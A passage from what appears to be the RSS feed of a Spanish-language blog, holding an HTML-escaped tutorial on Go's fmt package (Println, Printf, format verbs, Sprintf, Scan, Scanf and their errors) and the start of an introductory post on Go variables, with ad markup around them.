y salida de dato, me refiero a lo que tus compañeros más oldies denominarían &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Entrada_est%C3%A1ndar&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;stdin y stdout en GNU/Linux&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Por cierto, fmt cuenta con soporte para caracteres especiales, por lo que puedes imprimir los subtítulos en el idioma original de tus animes favoritos.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;println&#34;&gt;Println&lt;/h3&gt;&#xA;&lt;p&gt;Si ya has trabajado con otros lenguajes de programación es tu clásica función print, echo, console.log o equivalente, con todo y su &lt;em&gt;newline&lt;/em&gt; añadido al final.&lt;/p&gt;&#xA;&lt;p&gt;Println es capaz de imprimir varios argumentos seguidos, incluso si son de diferente tipo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;彼氏彼女の事情&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;printf&#34;&gt;Printf&lt;/h3&gt;&#xA;&lt;p&gt;Printf es como Println pero con operadores de posición que le dicen a go el tipo de dato que le estamos pasando. Sí, igualita a la función de C++&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;texto &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World!&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numero &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// %s es de string y %d de digit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello %s %d&amp;#34;&lt;/span&gt;, texto, numero)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;tipos-de-operadores&#34;&gt;Tipos de operadores&lt;/h3&gt;&#xA;&lt;p&gt;¿Viste que usé los tipos de operadores %s y %d, para strings y dígitos, respectivamente? Pues en go hay múltiples tipos de operadores para muchísimos tipos de datos.&lt;/p&gt;&#xA;&lt;p&gt;Hay algunos operadores de posición que yo considero destacables.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;%T, tipo de dato (string, int, boolean, etc).&lt;/li&gt;&#xA;&lt;li&gt;%v, valor en el formato predeterminado de go&lt;/li&gt;&#xA;&lt;li&gt;%t, Para booleanos, retorna la palabra false o true&lt;/li&gt;&#xA;&lt;li&gt;%x, número de base 16&lt;/li&gt;&#xA;&lt;li&gt;%o, número de base 8&lt;/li&gt;&#xA;&lt;li&gt;%e, número notación científica&lt;/li&gt;&#xA;&lt;li&gt;%9.2f, flotante con ancho de 9 y precisión de 2&lt;/li&gt;&#xA;&lt;li&gt;%.2f, flotante con ancho predeterminado y precisión de 2&lt;/li&gt;&#xA;&lt;li&gt;%q un string o cadena de texto, entre comillas, previamente escapado&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Puedes ver el resto de operadores en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/fmt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial de go.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;sprintf&#34;&gt;Sprintf&lt;/h3&gt;&#xA;&lt;p&gt;Sprintf guarda la misma sintaxis que printf, pero con &lt;strong&gt;la diferencia de que no imprime en pantalla, sino que genera un string&lt;/strong&gt; o cadena de texto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; message &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt; = fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sprintf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello %s %d&amp;#34;&lt;/span&gt;, texto, numero)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pero ¿y si queremos obtener input de un usuario? Pues, igual que en C, contamos con la función scan.&lt;/p&gt;&#xA;&lt;h3 id=&#34;scan&#34;&gt;Scan&lt;/h3&gt;&#xA;&lt;p&gt;Scan leerá el texto de la entrada estándar (stdin) hasta que encuentre el primer espacio o salto de linea y nos retornará el número de argumentos recibidos.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes que significa el ampersand &amp;ldquo;&amp;amp;&amp;rdquo; puedes pensar en él como la dirección en memoria a la que corresponde la variable mensaje.&lt;/p&gt;&#xA;&lt;p&gt;Si aún así no tienes tienes idea de que hablo, vas a tener que darle una investigada a los pointers o apuntadores. Hay muchísima información en internet disponible como para crear una nueva entrada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; message &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scan&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(message)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El código anterior hace solo dos cosas: guardar el texto que escribimos en la consola en la variable mensaje y, posteriormente, imprimirlo en pantalla.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/scanfEnGolang.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/scanfEnGolang.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Scan en golang o go&#34; width=&#34;565&#34; height=&#34;155&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;scanf&#34;&gt;Scanf&lt;/h3&gt;&#xA;&lt;p&gt;Scanf es como Scan, pero para guardar múltiples argumentos, separados por espacios.&lt;/p&gt;&#xA;&lt;p&gt;Mira como primero creamos las tres variables, para después, como primer argumento para Scanf pasarle el orden en el que recibirá los argumentos como un tipo de dato, separados por espacio y al final la dirección de las variables a las cuales los tiene que asignar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;nombre   &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;apellido &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;telefono &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// nombre apellido telefono&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scanf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%s %s %d&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;nombre, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;apellido, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;telefono)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nombre: %s, Apellido: %s, telefono: %d&amp;#34;&lt;/span&gt;, nombre, apellido, telefono)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aprecia como le indicamos la separación de cada argumento por medio de un espacio.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ScanfMultiplesArgumentosGolang.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ScanfMultiplesArgumentosGolang.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Scanf en golang o go&#34; width=&#34;565&#34; height=&#34;155&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;manejando-errores-en-scanf-y-scan&#34;&gt;Manejando errores en Scanf y Scan&lt;/h3&gt;&#xA;&lt;p&gt;Scanf y Scan, además de guardar texto en variables, también retornan el número de argumentos asignados y, solo en caso de que ocurra, un mensaje de error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;nombre     &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;apellido   &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;telefono   &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;argumentos &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;err        &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;argumentos, err = fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Scanf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%s %s %d&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;nombre, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;apellido, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;telefono)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error: %s&amp;#34;&lt;/span&gt;, err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Todo bien, recibimos %d argumentos: %s, %s, %d&amp;#34;&lt;/span&gt;, argumentos, nombre, apellido, telefono)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira lo que pasa si intentamos pasarle un argumento de un tipo incorrecto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ErrorScanfArgumentos.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/images/ErrorScanfArgumentos.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Error de los argumentos de scanf en go&#34; width=&#34;565&#34; height=&#34;188&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La primera vez que se ejecuta la función todo sale bien y ocurre con normalidad, pero la segunda vez nos devuelve un error porque estamos intentando pasarle a Scanf un argumento de tipo string, y está esperando uno de tipo int.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres ver el resto de funciones que tiene este paquete go para ofrecer, revisa la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/fmt&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial del paquete fmt.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta entrada tratará sobre la sintaxis básica de las funciones de Go. Si no sabes absolutamente nada de go visita mi entrada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;go: introducción al lenguaje de programación, variables y tipos de datos&lt;/a&gt;&#xA; para empezar desde el principio de esta serie de tutoriales.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go lenguaje de programación introducción a variables y tipos de datos</title>
      <link>https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/</link>
      <pubDate>Tue, 23 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Go, también conocido como Golang, es un lenguaje de programación compilado desarrollado por Google con el propósito de ser simple, sencillo de aprender, suficientemente rápido y centrado fuertemente en la concurrencia.&lt;/p&gt;&#xA;&lt;p&gt;Go es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;usado en proyectos tan colosales como el compilador de Typescript&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      